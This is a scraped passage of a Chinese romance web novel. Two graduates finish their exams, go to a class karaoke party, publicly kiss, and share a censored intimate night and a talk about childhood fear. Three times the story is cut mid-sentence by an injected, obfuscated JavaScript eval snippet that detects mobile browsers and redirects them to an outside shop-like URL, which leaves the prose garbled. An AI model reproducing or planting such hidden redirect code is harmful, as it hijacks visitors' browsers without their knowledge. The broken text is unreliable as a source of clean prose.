;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356363|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上爬。 “牧年,”刘嘉拿着新出炉的模考成绩,跟后桌同桌哭诉道,“原来我才是咱们组的拖油瓶吗?” 他的排名居然在六爷之下,难道自己真的不是学习的料? “怎么会,”阮牧年边算数学压轴题边回答他,“你的英语甩他三条街,最近的排名也没有大幅下跌过,比大多数人好多了。” 蝉联半学期班级第一的阮牧年,其实在年段上屡次被一班的同学超越,但他从未气馁。 因为越沉得住气的人,才能走到最后。 高考那天,桑母开车跟田女士一起送两个孩子去考场。 “我是不是应该说点什么鼓励的话?”田女士比自己高考还紧张,上车前问桑母,“比如放平心态,加油必胜?” “哎呦,你这样孩子更紧张了怎么办?”到了车上,桑母播放最劲爆的流行音乐,乐呵呵地说,“今天随便写随便填哈,最后一次考试咱不惯着它!写不出来就往答题卡上涂个爱心送给老师!” 田女士被她吓一跳,这样真的行吗? 阮牧年坐在后座,闭着眼睛摇头晃脑:“今年数学选择题的答案是BACCD……” 桑群惊讶:“还没开始考呢,你怎么知道?” “我算出来的,”阮牧年神秘地竖起食指,“你知道吗?前三年的选择题答案是有规律的,今年如果是这个答案,就会跟前三年的一起组成一组密码,翻译过来就是‘高考数学’四个字的拼音哦。” 桑群:“真的?” 阮牧年眨了眨眼:“心诚则灵。” “你听他吹呢,”桑母在驾驶座哈哈大笑,“我也听过一版答案,根据数列规律推出来的,分别是ADACD……儿子,你要填哪个?” 桑群已经被这四个字母绕晕了:“你俩是魔鬼吧?” 谁家高考生和高考生父母闲着没事干提前背答案? 结果到考场一算,这俩人没一个猜对。 桑群对他们嗤之以鼻。 阮牧年难得没有中途跟人对答案。最后一场政治,他出考场后意外在走廊遇见了程抒晴。 最后一年,程抒晴的排名跟他咬得很紧,有一次甚至压过了他,是不容小觑的对手。 两人之间的旧事早已成了过往,彼此间虽没怎么往来,但还是能从身边人口中得知对方的近况。 程抒晴看见他,大方地打了个招呼:“喂,阮牧年!” 阮牧年停下脚步:“嗯?” “我会报考A大的物理系专业,”程抒晴冲他挑衅地笑了笑,“敢不敢跟我比一比高考成绩?” “胜券在握啊你,”阮牧年挑了挑眉,“那你做好准备吧,这次物理我保底95分。” “是吗?”程抒晴并不畏惧,“我英语保底145,你还有什么底牌?” 阮牧年想了想,其他科目他俩不分伯仲,于是说:“那就七月底见真章。” “输了的人请吃饭,”程抒晴立刻说,“要请食堂最贵最贵的那个窗口,我听我爸说了,他们家每天限时限量供应。” “你爸?” “嗯,他去A大当教授了,”程抒晴一蹦一跳着走路,“我现在可是关系户呢。” “那你就是我的人脉。”阮牧年说。 “不一定哦,”她也没说什么不一定,只是瞥见不远处的某道人影,自觉站远了些,“你男朋友来了。” “你怎么……”阮牧年惊讶,随后又笑了一下,“哦,你也是男朋友来接吗?” “我没有男朋友,”程抒晴拒绝承认,“我爸来接我。” “行吧,”阮牧年跟她挥手告别,“再见,希望你能好好享受出成绩之前的假期。” “挑衅我?”程抒晴回击他,“也祝你到时候不要哭鼻子啊,年糕精。” 阮牧年愣了愣,直到桑群拍他肩膀都没什么反应。 “怎么了?”桑群不明所以,“考砸了?” “你……”阮牧年转头看他,“你什么时候跟程抒晴有来往?” “啊?”桑群没听懂他在说什么。 “她居然知道我爱哭?”阮牧年抓住漏嘴怪的肩膀使劲晃了晃,“是你说的吧?你居然在背地里抹黑我!” “抹黑?实话实说而已,”桑群被他晃得头晕,“停。赶紧找车,这会儿人太多了。” 考完当晚就开庆功宴的不在少数,好在桑母早有安排,一家人顺利吃上晚饭。 高中生活看似告一段落……不,并没有。 班级群弹出99+消息。 【开门我是班长:那就把聚会定在三天后,能来的报1,不能来的尽量调一下时间,实在有特殊情况跟我私聊说明】 【将将将璋:1】 【6+2:1】 【木子:1】 …… 【Ruann:111】 【开门我是班长:47个人了,还差一个谁?】 【阿君羊:。】 【6+2:这是去还是不去?】 【阿君羊:可能会去】 【开门我是班长:不行,给个准话,要统一购买礼品的】 【Ruann:他去啊,记上记上】 【阿君羊:……中途会去】 “我不想社交,”桑群趴在床上,“家里的砖还没搬完。” “你出门玩一天阿姨又不会说你什么,”阮牧年一边给他按腰,一边劝道,“去嘛去嘛,陪我去嘛。” 桑群沉默了一会儿,妥协了:“你下次少咬人我就去。” “好,”阮牧年开始不知道第几次的保证,“我会克制的。” “手轻点,”桑群微微皱眉,“背上也被你咬了。” “知道啦,”阮牧年撸起袖子,“专业按摩师年年竭诚为您服务!” 86. 86 桑群的话不完全是推脱,三天后杨先生意外来访,要跟阮经理谈新合作。 今老板要求他必须去,并借着这个机会澄清阮经理实则是桑经理。 杨先生倒是理解他的做法,只是好奇为什么化名要用“阮”这个姓。 桑群告诉他,对象姓阮。 今老板在会客厅另一边沙发上直吸冷气。 合谈一结束,她就忙不迭地赶走了随地秀恩爱的儿子。 桑群来不及换下西装,随便捡了只棒球帽扣脑袋上,马不停蹄地赶到聚会KTV门口。 门一打开,里面的吵闹安静了一瞬。有人问:“这谁男朋友?” 桑群一抬帽檐:“什么?” 大伙松了一口气,还以为谁偷偷谈了个大款呢,虽然西装运动鞋棒球帽的装扮有些稀奇,但远远看去真能唬人。 人群堆里伸出一只手,在半空中摆了摆:“桑群,这儿!” 阮牧年穿着休闲的卫衣T恤,正在跟人猜拳。 又输了,他埋怨着喝掉罚酒,从桌前退开:“不玩了不玩了,我要转移阵地了。喏,让大佬陪你玩。” 桑群莫名其妙被推到桌前,对面的人没跟他玩过,有些不屑:“怎么,六爷是大佬?很厉害?” 闻言,班上的一部分同学面露惊恐。 桑群却说:“我不玩。” “六爷,输不起吗?” 桑群不为所动:“有饮料吗?” 班长走过来:“经投票决议,今天的饮品都是酒精饮料,没有普通的。六爷,我记得你也扣1了。” 他什么时候扣的1?桑群感到不对劲,立刻扭头看向旁边心虚喝饮料的阮牧年。 哦不对,没有饮料,全他妈是酒。 “最低度数呢?”桑群皱眉问。 “果酒,这个,”班长推一瓶过来,“最低了。” “帮我开一下,谢谢。”桑群说。 倒好果酒,桑群抢过阮牧年的杯子,当着他的面偷梁换柱。 阮牧年不满:“喂。” 桑群将啤酒一饮而尽。 这么苦,为了装大人,小甜糕能做到这个程度,真要面子。 喝酒也要管,阮牧年显然很不服气,悄悄挪远屁股去听别人唱歌。 小心眼,桑群给自己又倒了杯果酒,偷偷在昏暗的卡座背垫缝里抓住阮牧年的指尖,轻轻捏了捏。 阮牧年给了他一指甲,把手揣进口袋里。 气性不小啊。不让他喝酒是为他好,桑群不觉得自己有错,遂放任他气去了。 话筒那边在排队,正好轮到文娱委员。她好像有点喝醉了,脸蛋红红的,唱得非常嗨。 吵闹的音节砸在耳膜上,桑群不适应地皱了皱眉,无法理解当代年轻人唱卡拉OK聚会的爱好。 还有就是,这个唱歌的怎么老是往他这边瞥。 桑群疑惑地摸了摸自己,他脸上有高考成绩吗? 一曲终了,听众们的热情不减反增,跟猴子一样哦哦乱叫,不知道在燃什么。 哦,也有不是猴子的,旁边的赌气小学生哼了一声,他正好听见。 “各位,我要宣布一个事儿——”文娱委员拿着话筒高声喊道,“拜托你们帮我加油鼓气啦!” 掌声响了起来,桑群动也没动,文娱委员的目光径直看向他。 什么,每个人都必须鼓吗? 旁边的小学生都没鼓,桑群犹豫着要不要把手伸出来。 忽然一声巨响:“高三三班37号的桑群同学——!” 桑群吓了一跳,谁叫他? 抬头一看,文娱委员正注视着他。 “我喜欢你!”喝醉的小姑娘笑容明灿,一腔热情,“你可以嫁给我吗!” 刚说完,就被自己的口水呛到了。 她闺蜜连忙过来给她拍了拍背:“你喊错了啊。” “不好意思,紧张了,”文娱委员重新站直,“我的意思是,我可以娶你吗——啊不是……” 班级里哄笑一片。 桑群后知后觉过来,难怪气氛古怪,原来是有人准备公开表白。 所有人的目光看向他,坐在沙发角落里的西装少年神色淡漠,面无波澜:“我有对象。” 文娱委员不信:“我们都毕业了,不用这样拒绝人吧?不喜欢就说呗!” 桑群又说了一遍:“我真有对象。” “好吧,”文娱委员失望地流下两滴眼泪,桑群惊讶于她随哭随笑的表情管理,“那……阮牧年!” 阮牧年似乎正在发呆,被她吓了一跳:“叫我干嘛?” “我也喜欢你!”文娱委员又喊,“你愿意嫁给我吗?” 这口癖改不掉,她索性不改了。 “啊?”阮牧年往后躲了躲,“不是还在表白吗,怎么已经进展到发酒疯的阶段了,谁来拦她一下?” 学委推了推眼镜,一脸深沉道:“据我经验,一般这种时候她会挨个喜欢一遍下去,借酒疯掩盖失落。” 阮牧年低声问:“你咋知道?” “如果你当过三年论坛管理员,”学委靠进沙发里,摸起旁边的话筒,“你也会跟我一样对某些同学的行为了如指掌。” 阮牧年暗暗为他竖大拇指。 下一秒他就化指为拳,想给学委来一下。 因为这个高深莫测的家伙,居然唱歌跑调! 来不及为表白失败的文委哀哭,包厢内众人纷纷捂耳哀嚎起来。 歌没唱完,噪音制造者就被众愤围攻缴械,话筒落入阮牧年手中。 阮牧年吹了一口气,兴奋道:“大家大家,我要邀请同桌跟我深情对唱!” 桑群正在嗑瓜子,忽然自己变成了视觉焦点。 他看向阮牧年,后者正笑得开心,方才的闷气烟消云散。 一句对象就能哄好,脾气也太软了。正想着,手里被人塞了个话筒。 “搞什么。”他纳闷。 阮牧年在小平板上点来点去:“这个怎么样?” 桑群扫了一眼:“……不会。” “那就这个了。”阮牧年拍板。 “诶诶,牧年,”有人叫住他,“先说好,你们俩都不跑调吧?” “那必须的。”阮牧年拍了拍胸脯。 前奏响起,桑群看见第一句歌词是英文,就知道自己完蛋了。 阮牧年一无所知他的难处,歌词一亮就唱了起来,少年清朗的嗓音温沉如水,跟刚才的噪音相比有如天籁。 一小节结束,他看向桑群。 桑群硬着头皮拿起话筒,跟着旋律哼哼起来。 嘴都没张开。 有人疑惑地掏了掏耳朵:“怎么回事,我咋没听见六爷的声音?” “六爷你唱啊。” 桑群很绝望:“我不会念。” 阮牧年挨他近了点,接过他那一部分的歌词,每个发音一起一转清晰地落入他耳中。 桑群紧急补习,终于在下一段重复的旋律中开了口。 声称第一次唱的人一张口就令人耳朵忍不住酥麻,因为不太熟练,单词的发音黏在一起,反而更接近原曲忧伤悠长的风格,每个尾音都在那把天赐好嗓里沉浮。 最后一小段合唱,他们对上视线,闪烁的球状滚灯一下下在两人漆黑的瞳孔中划过光点,情歌流淌,是众目睽睽下最大胆的含蓄表白。 歌曲结束,演唱环节却还没完。阮牧年提醒:“下一首还是我点的啊,让我们把它交给我最亲爱的同桌!麦霸桑群!哦吼!” 什么东西?桑群抬眼一看,眼熟的歌,但又有哪里不太对劲。 看到演唱栏的一排名字,桑群顿悟。 这是首多音色合唱曲目,阮牧年的意思是,叫他一人饰多角演唱。 能不能不干?桑群想搁下话筒,手被人紧紧按着。 “都开始了,”阮牧年冲他挤眼睛,“加油加油。” “我记得开头是个壮汉高音吧?”有人说,“风格这么多的歌,六爷要怎么唱?他俩还是合唱吗?” 疑问还没说完,一道巨响震颤了所有人。 一个大叔忽然在包厢里开嗓,大家纷纷环顾四周,最后发现拿着话筒的只有那个常年冷着脸的酷哥六爷。 桑群面无表情地看着屏幕上的歌词,脸还是高冷帅哥模样,嘴里的声音从大叔到青年,从正太到御姐,只有旁人想不到的,没有他不会的。 更可怕的是,他的音调非常准,评分屏幕上每一个音阶小方块都没有偏移。 其他人目瞪口呆,只有阮牧年听得很开心,还招呼他们:“都愣着干什么?鼓掌啊……好听好听,桑群我的男神哇呼——” 男神根本不想理他,唱完赶紧把烫手山芋一丢:“不唱了,死都不唱。” “唱完了,下一个是谁?”阮牧年拿着两只话筒问。 后面排队的人一脸恍惚:“都让你们秀完了,我们还有活路吗?” 同桌俩惨遭演唱区驱逐。 “哎呦,只唱了两首,没把路堵死啊,”阮牧年挠了挠头,张望四周眼睛一亮,“那边在转瓶子,走,过去看看。” 桑群瘫着脸:“我不玩。” “不玩不玩,”阮牧年拉着他,“看一哥给你秀一个。” 见他过来,体委热烈欢迎:“大家让让,咱们散财童子来啦!” 阮牧年脸黑:“你瞧不起谁呢?” “没有瞧不起,”体委连忙摆手,“来露一手,牧年?” 桑群跟着阮牧年入座,旁边的李子面露难色:“六爷也玩?” “他不玩,他风头出够了,”阮牧年拍了拍自己的肩膀,“想睡觉的话,可以躺在我宽阔的肩膀上。” 桑群抱着胳膊靠到沙发上,唇瓣微启:“滚。” 被嫌弃的阮牧年撇了撇嘴,转头投入全新的战场。 三局过后。 体委喜滋滋地退场:“还有谁要跟牧年玩?拯救你的游戏体验!” “喂……”阮牧年连跪三局,眸里了无生机,“不带这么欺负人的。” “这才哪儿到哪儿,”体委拿着酒杯和卡牌过来,“老规矩,惩罚选一个吧。你该庆幸今天不是生日,都不需要贴白条。” “还说没有欺负我!”阮牧年怒起,纠结了一下,不敢当着桑群的面乱喝酒,于是说,“抽卡,我选真心话。” “这么拘谨?那你抽吧。” 阮牧年搓了搓手,在嘴边哈了口气,小心翼翼地抽出一张来。 翻过来一看,他顿时就想把它扔回去。 【跟绯闻对象进展如何】 “哦哟,”这种八卦大家喜闻乐见,“说说看啊,牧年。” “什么进展,”阮牧年铁嘴一张,拒不透露,“我跟她清清白白,没有任何不正当关系。” 有人提出异议:“暧昧阶段的话,也不算不正当吧?再说了,都毕业了,情侣还算什么不正当关系吗?” 阮牧年咬了咬牙:“我有对象了。” “程抒晴?” “不是!” 远处的甜品区传来一道穿透力极强的女声:“诶我听见了啊,有人叫我呢,你们再瞎编我跟阮牧年的谣言,小心我叫我男朋友揍你啊!” 阮牧年挑了挑眉,前几天还说没男朋友呢,现在又有了? 真是善变的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356364|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女人啊。 “听见没,”阮牧年摊手,“真的只是朋友。” “那我那些瓜岂不是白吃了?”有人心痛。 “不会啊,”阮牧年笑嘻嘻说,“至少让你知道你白痴了嘛。” 一语双关,嘲讽效果十足,那人瞬间站出来,要跟他一决高下。 阮牧年来者不拒……如果局面能跟他的豪气相匹配就更好了。 那人满胜而归,亲自给他递酒:“我原谅你口出狂言的事了,牧年。” 阮牧年挠桌:“不能喝自己的酒吗?” “惩罚当然要用不一样的酒,”体委说,“不然所有人都像你一样用果酒逃课还得了。” 阮牧年瘪气,伸出手去晃旁边人的胳膊:“同桌同桌,你救一下……” 桑群闭着眼别过脸:“自力更生。” “没错,不要打扰六爷休息,”体委唯恐他惊动大佬,“牧年,愿赌服输啊。” 阮牧年不情不愿地喝下那杯酒,苦死了,他回家要炫三个甜甜小蛋糕。 然而这只是开始。 继坚决不选大冒险之后,阮牧年又被其他人ban掉真心话选项,因为他抽的卡太无聊了。 到最后,黑洞面前的酒杯满了喝,喝完又倒,几乎没空过。 “我、我不行了……”酒劲渐渐上头,阮牧年眼尾泛红,又输一次,开始自暴自弃,“不玩了不玩了。” “没有你,谁给我们带来乐趣啊。再来一局呗?” 阮牧年使劲摇头,去扒桑群的胳膊:“喝不动了,你去,给我报仇。” 声音都飘了,桑群睁开眼,看见了一块红彤彤的年糕。 从一开始安安静静找个地方坐不好吗,非要凑热闹,吃苦了就来找他哭。 桑群抬起手,指腹在阮牧年发烫的脸颊上短暂擦过,随后扣住对方后颈,把人拨到一边去。 “换个位置。”他说。 见桑群坐过来,李子摸了摸鼻子:“我去那边唱会儿歌……哈哈。” “呃,我、我去拿点吃的,你们先玩着哈。” “那我……我上个厕所!” 一部分人有自知之明地跑了,剩下的人不明所以,反而胜负之魂熊熊燃烧。 没出几分钟,就被大佬碾压得怀疑人生。 “这……这对吗?” 桑群八风不动地坐在原地,没什么表情的脸让人觉得拽得不行:“还有谁?” “诶,我找到个高手,”体委从演唱区薅了一个人过来,正是不久前被打入黑名单的学委,“六爷,你的末日到了!” 桑群挑了挑眉。 演唱区的云泥之别在游戏桌前展开对决。 战局十分焦灼,桑群一个没留神,光荣收获了今日第一败。 “嗯?”他疑惑地复盘了一下,“……哦。你厉害。” 学委推了推眼镜:“承让。桑群同学的实力也十分强劲。” 愿赌服输,桑群向来干脆,将酒一饮而尽:“再来。” 之后的战局,两个人胜负参半。 “我有预感,”学委推演着局面,“我最多再赢你一次。我们已经对彼此的风格很熟悉了。” 桑群还未在酒桌游戏上碰见过对手,对他这句话深表赞同。 又输一次,他伸手摸酒杯,摸了个空。 “我们点的酒喝完了,”体委检查了一下余量,“再上还要一会儿,要不六爷你这轮抽卡吧?” “哦。” 桑群看也没看,随手抽了一张。 翻过来后,他眨了眨眼,感觉自己好像眼花了。 【跟同桌做一个亲密动作】 旁边观战的众人顿时兴奋起来,终于有乐子看了,七嘴八舌地讨论开来。 “诶诶,我们得先规定好,什么叫做亲密动作?” “像小情侣那样摸摸抱抱?” “要我说,大家没见过的举动,才叫亲密动作吧?” “有道理。牧年、六爷,你们觉得呢?” “这么一数,留给他们的动作不多啊。你们想想,他俩抱过吧?也碰过手吧?勾肩搭背也不少吧?” “什么时候抱过啊?” “高二运动会啊,他俩一块摔地上的。” “照这么说,还有什么是可以做的?” 周围的人很吵,一连几杯罚酒下肚,晓是桑群也有些思维迟钝,眼里的光明明灭灭。 他偏过头去,被强行绑定的惩罚对象酡红未消,还在那里囔囔着争取放宽要求。 顶灯映亮阮牧年额前的一小块肌肤,在他回过头的时候,为那张惹人心动的脸蛋镀上光边。 阮牧年对上他的视线,说话的声音渐渐弱下。 桑群依旧不喜欢这个地方,吵吵闹闹,音乐刺耳,酒水难喝,光也晃眼。 可还是有人能在这里拨动他的心弦,令心底漫开一阵湿润的悸动。 好像真的有些醉了,不然为什么会觉得在这么糟糕的环境下,阮牧年依然好看得不可方物呢? 喉结轻轻滚动了一下,桑群抬起指节,微屈抵在阮牧年下颌。 耳边的吵闹退潮般剥离,他缓缓靠近,只能听见自己胸腔里盛大的振动。 桑群垂落眉睫,暗下的视野里,阮牧年的呼吸咫尺可闻。 他当着所有人的面微微偏首,轻柔地吻在那瓣柔软的唇上。 那一瞬间,包厢内的人声彻底消失,唯有停留在切歌页面的屏幕发出规律的滴滴加载音效。 桑群稍稍退开,黑沉的眸蒙上一层朦胧的纱,唇边漾开一抹浅笑。 他就这样看着阮牧年,嗓音低沉带哑:“……够亲密么。” 87. 87(有删减) 连阮牧年在内的所有人都怔在了原地。 唇上还残留着被人轻压过的触感,阮牧年浑身滚烫,呆呆地看着他不知所措。 桑群又笑了。跟以往抿开唇角的笑不同,这次他笑出了声,指根抵在鬓边,笑得肩膀颤动。 还是露齿笑,阮牧年已经不记得上次见到对方这么明朗的笑容是什么时候了。 随着他回神,凝滞的围观群众们也骚动起来。 “这这这……其实也不用牺牲到这个程度?” “你们不觉得脸上烧得慌吗?我真不行了,我喝点冰酒冷静一下。” “等下,前面六爷说自己有对象,后面牧年也说自己有对象,你们是不是得解释一下?” “对哦对哦,我嘞个老天爷啊,不会吧?情侣竟在我眼前?” 八卦声渐起,大家纷纷围过来想问阮牧年详细情况,就见一条胳膊伸出来,揽过阮牧年的腰往怀里带,两人之间的距离顿时缩短到一点不剩。 “别碰他。”桑群逗完人就收敛起表情,此刻面色有些不虞地盯着其他人。 众人脸色精彩纷呈,这就护上了?恋情实锤啊。 阮牧年掰他手指:“别这样……坐好。” 桑群松了手劲,胳膊还赖在他腰上不走。 阮牧年挠了挠鼻尖,不自在地干笑两声:“情况就是……你们看到的这样,啊哈哈。” 有人逼问:“不厚道啊牧年,这么大的事居然不告诉我们。说!在一起多久了?” “在一起指什么?”桑群看一群人破防很愉快,靠在沙发上挑了挑眉,“从表白算起,还是从认识算起?” “我去,还有瓜?” “那你们认识多久了?” “十几年吧,”桑群看向阮牧年,轻声问他,“对么,年年?” “是15年3个月零21天,”阮牧年想了想,伸出手肘怼他,“你别乱叫。” “什么,青梅竹马啊?” “这么久……那我之前还跟朋友猜你俩是初中同学,惨败啊。” 包厢门打开,文娱委员上完厕所回来,被闺蜜拉着说了刚才的巨瓜,眨了眨眼睛。 “啊?输给阮牧年啊,”她醉醺醺地笑了起来,“不用自卑了,嘿嘿。” “那你俩……怎么会传出不合的传闻?”刘嘉百思不得其解,“我还以为你们是亦敌亦友的关系……” “我什么时候跟他不合过了,”阮牧年控诉,“难道不是你们自己在脑海里乱添油加醋吗?对个视线就是约架,嗯?” 是这样吗? 众人心虚地移开目光。 “那我有问题要问!”体委大力上桌,直逼主角,“你们上次还搪塞我,说!你们是不是高二就同居了?” 什么,这家伙怎么还记得自己的醉话? “呃……”阮牧年欲言又止。 桑群抿了抿唇:“……嗯。” “诶,这我有话说,”遥远的吧台那头,一条清瘦的胳膊举起来晃了晃,程抒晴声音慵懒,“我去过他们的小窝哦,好温馨呐……我要举报阮牧年18岁还在穿卡通拖鞋!” “……喂!”阮牧年真想飞过去捂她嘴,“你少说几句啊。” “哇塞哇塞,这么多料?” “还有什么,程姐你快说啊,六爷有什么反差萌吗?” “还有……什么?”程抒晴也有些醉了,趴在桌上迷糊道,“嗯……桑群穿围裙拖地?好像也不是很反差……” 这还不反差吗?这跟霸总冷脸洗内裤有什么区别? 众人游戏不玩了,歌也不唱了,眼里燃烧起炽热的八卦之魂。 “……别问了别问了,”阮牧年头都大了,“好啊你们,个个都是论坛满级大水怪对吧?报社缺你们这种人才。” 桑群闭着眼靠到阮牧年肩膀上,低声抱怨:“吵死了。” “听到没?”阮牧年帮他捂住耳朵,“吵到六爷了。嘘,我们小声点。” 这就开始秀了,大家集体嗤了一声,纷纷远离酸臭的小情侣。 “我回答了这么多问题,”阮牧年对着桌面上的新游戏搓手,“有什么优待吗?” “没有!”对面齐声回答。 体委提议:“输了的话,小情侣一块接受惩罚。” 这话赢得附和声一片。 “……酸得你们,”阮牧年撇了撇嘴,“我要一雪前耻了,来!” 不一定能一雪,但前耻肯定增多了。 刚缓过劲来的阮牧年又不行了,搁下酒杯埋进桑群胸前,醉得一塌糊涂:“我头好晕啊,不能再喝了……” 桑群睡得正香,被他吵醒后脸色变得差劲:“你倒了,我靠什么?” “你俩别腻歪了,”体委敲了敲玻璃杯,“六爷,换你上。” 一晚上下来,所有人都耗尽这几天放假积攒下来的全部精力,到最后几乎没有人能够走出一条笔直的线。 就连看起来最正常的桑群,也只是喝酒不上脸,没什么表情,单看着还以为压根没醉。 但他自己清楚,酒量再好,也经不住这样灌,这群准大学生比饭局上驰骋多年的老总们疯多了。 散场后,大家三三两两离开,桑群叫了车,拖着烂泥糕塞进车里。 到后半程阮牧年几乎抱着他不撒手,也不是真的醉昏了,大概是怕自己可爱的表情被别人看见,有损他树立的威风形象。 ……虽然本来也没多威风就是了。 把人放到床上,桑群差点被他带着摔下去。胡乱给人盖好被子,他揉着太阳穴走去厨房,打算简单煮壶醒酒汤喝。 等待的时间有些漫长,他迷糊了一瞬,差点栽倒在地。 拍了拍脑袋,思绪勉强清醒了一点,待会儿拿着杯子进去,给阮牧年也喝一点,然后催他去上厕所再睡觉,别半夜尿床上了。 这么打算着,他定了定神,回了房间。 小醉鬼还瘫软在床上,手脚大张,脸蛋熟红。 “年年?”桑群拍了拍他,拽着胳膊捞人,“起来喝点水再睡,衣服还没换呢。” “嗯……” 年糕属于软体动物,根本支棱不起来。桑群抓衣服抓手捞了半天,总算把人抱进怀里坐好,马克杯凑过去:“张嘴,喝水。” 阮牧年仰着头靠在他脖子边,虚弱道:“……不要,没力气。” 桑群耐心哄他:“多少喝一点。” 发烫的脸蛋在他颈窝蹭了蹭,阮牧年贴着他的肌肤轻声说:“……你喂我。” “我没拿勺子。”桑群无奈。 “你喂。”阮牧年坚持。 桑群眯了眯眼睛,喝了一大口醒酒汤,偏头压上阮牧年微张的唇瓣。 为了不让水漏出来,他吻得很紧,几乎没有呼吸的空隙,温热的液体顺着食道流下去,阮牧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356365|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年迷糊地呜咽了一声,退开后鲜艳的唇色泛着水光。 “还要……”阮牧年声音都含糊了,不自觉往他怀里蹭。 真会勾人,桑群暂时将杯子搁在床头柜上,捏起他的下巴往里渡水。 醒酒汤渐渐见底,燥热不减反增,阮牧年皱起眉,不舒服地呢喃:“好热啊……你开空调了吗?” 桑群抬头看了眼,24°C,说:“开了。” “可我好热。”说着,怀里的人不安分起来,胡乱地扯着身上的衣物。 桑群按住他的手:“去洗个澡吧。” “不……蒸汽也很热,”阮牧年微弱地挣扎着,“你让我脱掉,我要吹空调呜……” 这不是正在吹吗,光着身子着凉了怎么办?桑群操心地把人按好,给他出主意:“我帮你脱。凉快一下再去洗澡,好不好?” “我不想洗……” “必须洗,”桑群强硬道,“我不跟邋遢鬼睡觉。” 阮牧年软磨硬泡他好久,还是没等来松口,最后只能不情不愿地挪进浴室。 “我腿软,桑桑……啊,头好晕,这个花洒怎么这么重啊……” 一进去就叫唤个不停,桑群本来也不放心他一个人折腾,遂也跟了进去。 “我想躺浴缸。”阮牧年趴在他身上,享受着冲水服务。 “懒蛋,”桑群扶着他搓泡沫,想了想说,“秀姨最近好像在搬家,到时候我去问问有没有闲置的旧浴缸。” “那我还想要洗衣机,”阮牧年又说,“我们已经长大了,有更多更重要的事情要做,不能再浪费时间在手洗衣服上了。” 归根结底还是懒,桑群开了水,顺着水流给他揉搓:“嗯,一块问问。” “最长的暑假要来了啊,”阮牧年半睁着眼,“我们得开始好好规划了,唔,最重要的还是添置家具……” 出于各方面考虑,两人打算继续在出租屋住下去,直到九月开学。 听阮牧年的意思,似乎真的有拿来当婚房的想法,这两天净琢磨添点什么东西进来。 “再说了,”桑群暂时还不想考虑那么远的事情,“今晚先好好睡一觉。” 跑了一天,又玩又闹的,桑群现在最大的愿望就是赶紧躺进被窝,睡他个天荒地老。 可惜有人似乎不这么想。 换睡衣的时候,阮牧年就一直若有若无地蹭他,用脚走出浴室都没力气,硬要他抱回床上,躺好后也抱着他的脖子不撒手,嘴里一直哼唧着。 桑群一脸莫名其妙:“松手,我去关灯。” “这就睡觉了吗?”阮牧年不满地嘟囔,“我的晚安吻呢?” “待会儿给,我还没上床呢。” “不行,”他闹着脾气,“我现在就要。” 一壶醒酒汤都不奏效吗,现在这个点发酒疯,桑群无奈地凑过去,打算亲一下让他安静,再去关灯,结果被阮牧年勾着脖子加深了这个吻。 不应该啊,不是没力气吗?牙齿倒是挺带劲。 桑群不轻不重地掐了他一把,强行退开些许,轻斥他:“好了,不闹了,乖乖睡觉。” 阮牧年躺在那里,额发有些凌乱,睡衣最上面一颗纽扣没系,形状漂亮的锁骨在散开的领子下若隐若现。 他轻轻啊了一声,眼珠往下移,声音听起来懵懂怔然:“桑桑,我好像……*了啊……” (……) 88. 88 做完之后,阮牧年好像醒酒了,整个人有些亢奋:“你累了吗桑桑?这就要睡了?” 桑群睁开一只眼:“你还想再来?” “呃……”阮牧年挠了挠脸颊,换了个话题,“我们温存一下嘛。” 桑群见他只能正面躺着转头过来说话的姿势,轻嗤了一声:“转不过来?” “……我腰酸。”阮牧年小声说。 桑群伸手抱他,惊起一串吱哇乱叫。 他微微蹙眉:“这么疼?” “不全是疼啦,”阮牧年不好意思地埋进他颈窝里,轻声说,“说起来很复杂的,就……感觉腿合不拢了,强行压下去的话,孩子会流出来吧?” 桑群:“?” “这是什么症状?”桑群百思不得其解,怎么还在发疯? “你不会有那种感觉吗?两个人结合后,就要做好有小孩的准备了。”阮牧年说得很认真。 桑群无法理解:“我们又不会有小孩。” 阮牧年没说话,安静着忽然笑了一声。 “啊啊,是啊,本来就应该这样啊……”他独自咕喃着。 “你到底怎么了?”桑群问,这家伙怎么净说些让人猜不透的话。 “我没事,我就是……在高兴呀,”阮牧年笑着说,“你知道吗?我其实……很怕自己会有个小孩。” 桑群没听他讲过这些:“为什么?” “我做过一个噩梦,梦里我躺在妈妈怀里,非常痛苦,”阮牧年贴着他的皮肤,慢慢讲述道,“她在跟爸爸吵架,而我哭起来太吵,她就一直捂着我的嘴,很难受,呼吸不了,好像下一秒就要死掉了。” 桑群沉默地抚摸他的背,时不时轻拍两下,没有打断他。 “这个阴影一直伴随我到现在,”阮牧年告诉他,“我不想要一个小孩,我怕他跟我一样痛苦。” 